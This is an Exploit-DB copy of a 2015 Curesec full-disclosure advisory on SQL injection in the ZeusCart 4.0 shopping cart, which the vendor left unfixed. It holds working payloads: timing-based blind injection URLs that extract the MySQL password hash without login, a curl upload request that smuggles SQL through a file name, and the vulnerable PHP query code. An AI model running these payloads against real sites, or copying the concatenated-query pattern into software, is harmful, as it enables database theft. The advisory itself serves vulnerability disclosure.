ZeusCart 4.0 - SQL Injection

2015-09-17T00:00:00
ID EDB-ID:38224
Type exploitdb
Reporter Curesec Research Team
Modified 2015-09-17T00:00:00

Description

ZeusCart 4.0 - SQL Injection. Webapps exploit for php platform

                                        
                                            ZeusCart 4.0: SQL Injection
Security Advisory – Curesec Research Team

1. Introduction

Affected Product:   ZeusCart 4.0  
Fixed in:     not fixed
Fixed Version Link:   n/a  
Vendor Contact:   support@zeuscart.com  
Vulnerability Type:   SQL Injection  
Remote Exploitable:   Yes  
Reported to vendor:   08/13/2015  
Disclosed to public:   09/14/2015  
Release mode:     Full Disclosure  
CVE:       n/a  
Credits     Tim Coen of Curesec GmbH  

2. Vulnerability Description

There are at least two SQL Injections in ZeusCart 4.0, one being a blind
injection which does not require credentials to be exploited, the other
being a standard injection in the admin area.

Because the prevention of SQL Injection depends to a large part on
applying simple filters on most input instead of using prepared
stamements, it is highly likely that there will be more SQL injection
vulnerabilities that are not covered here.
3. Timing based Blind SQL Injection

There is a blind timing based SQL injection into the maincatid argument.
An attacker does not need to be authenticated to exploit this.
Proof Of Concept


http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1
AND IF(SUBSTRING(version(), 1, 1)=5,BENCHMARK(500000000,version()),null)
-> true

http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1
AND IF(SUBSTRING(version(), 1, 1)=4,BENCHMARK(500000000,version()),null)
-> false
Please note that there is a bug when displaying featured items, so this
will display an error message or show a blank page. The timing
difference is still present, and can thus be exploited, but content
based exploitation is not possible because of this.

Also note that quotes may not be used in the payload, as quotes are
sanitized. It is still possible to extract data:

http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1
AND IF(ascii(substring((SELECT password from mysql.user limit
0,1),1,1))=42,BENCHMARK(500000000,version()),null)
-> true, password hash starts with *

Code


        /classes/Core/CFeaturedItems.php:52
                $maincatid = $_GET['maincatid'];
        [...]
                $sql = "SELECT DISTINCT a.category_name AS
Category,a.category_id AS maincatid, b.category_name AS SubCategory,
b.category_id as subcatid, b.category_image AS image FROM category_table
a INNER JOIN category_table b ON a.category_id = b.category_parent_id
WHERE b.category_parent_id=".$maincatid." AND b.category_status=1 ";

4. SQL Injection in Admin Area

All GET, POST, and REQUEST input is sanitized via filter_var($value,
FILTER_SANITIZE_STRING), which offers some protection against SQL
injection and XSS, but is not recommended as only defense.

For many queries, there is no further defense via escaping or prepared
statements. This makes all queries that get their data from different
sources than GET, POST, and REQUEST - such as FILES -, and all queries
containing unquoted parameters - such as seen in the blind injection
above - vulnerable.
Proof Of Concept
The steps to reproduce this issue are as following

    Log in as admin
    Create a new product, using a file name for ufile[0] like:
"image.jpgblla', description=(SELECT password FROM mysql.user limit
0,1), image='test
    Visiting
http://localhost/zeuscart-master/admin/index.php?do=aprodetail&action=showprod&prodid=PRODUCTID
will give the result of the injected query.

Curl command to create a new product:

curl -i -s -k  -X 'POST' \
    -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:40.0)
Gecko/20100101 Firefox/40.0' -H 'DNT: 1' -H 'Content-Type:
multipart/form-data; boundary=--------2025782171' \
    -b 'PHPSESSID=hsa73tae4bq4ev381430dbfif0' \
    --data-binary $'----------2025782171\x0d\x0aContent-Disposition:
form-data; name=\"selcatgory[]\"\x0d\x0a\x0d\x0aChoose
Category\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"selcatgory[]\"\x0d\x0a\x0d\x0a25\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"product_title\"\x0d\x0a\x0d\x0aMYTESTPRODUCT2\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"sku\"\x0d\x0a\x0d\x0a77\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"txtweight\"\x0d\x0a\x0d\x0a77\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"status\"\x0d\x0a\x0d\x0aon\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data; name=\"ufile[0]\"; filename=\"image.jpgblla\',
description=(SELECT password FROM mysql.user limit 0,1),
image=\'test\"\x0d\x0aContent-Type:
image/jpeg\x0d\x0a\x0d\x0acontent\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"price\"\x0d\x0a\x0d\x0a555\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"msrp_org\"\x0d\x0a\x0d\x0a555\x0d\x0a----------2025782171\x0d\x0aContent-Disposition:
form-data;
name=\"soh\"\x0d\x0a\x0d\x0a555\x0d\x0a----------2025782171--\x0d\x0a' \

'http://localhost/zeuscart-master/admin/index.php?do=productentry&action=insert'
Code


        CProductEntry.php:313
                            $imgfilename= $_FILES['ufile']['name'][$i];

                            $imagefilename =
date("Y-m-d-His").$imgfilename ; // generate a new name

                            $image="images/products/". $imagefilename;
// updated into DB
        [...]

                            if($i==0)
                            {
                                $imgType='main';
                                $update="UPDATE products_table set
image='$image',thumb_image='$thumb_image',large_image_path='$large_image' where
product_id='".$product_id."'";
                                $obj->updateQuery($update);
                            }
                            else
                            {
                                $imgType='sub';
                            }

                                if($_FILES['ufile']['name'][$i]!='')
                                {
                                    $query_img="INSERT INTO
product_images_table(product_id,image_path,thumb_image_path,type,large_image_path)
VALUES('".$product_id."','$image','$thumb_image','$imgType','$large_image')";

                                    $obj_img=new Bin_Query();

                                    $obj_img->updateQuery($query_img);
                                }


                        }

5. Solution

This issue was not fixed by the vendor.

6. Report Timeline

08/13/2015   Informed Vendor about Issue (no reply)
09/07/2015   Reminded Vendor of release date (no reply)
09/14/2015   Disclosed to public

7. Blog Reference:
http://blog.curesec.com/article/blog/ZeusCart-40-SQL-Injection-56.html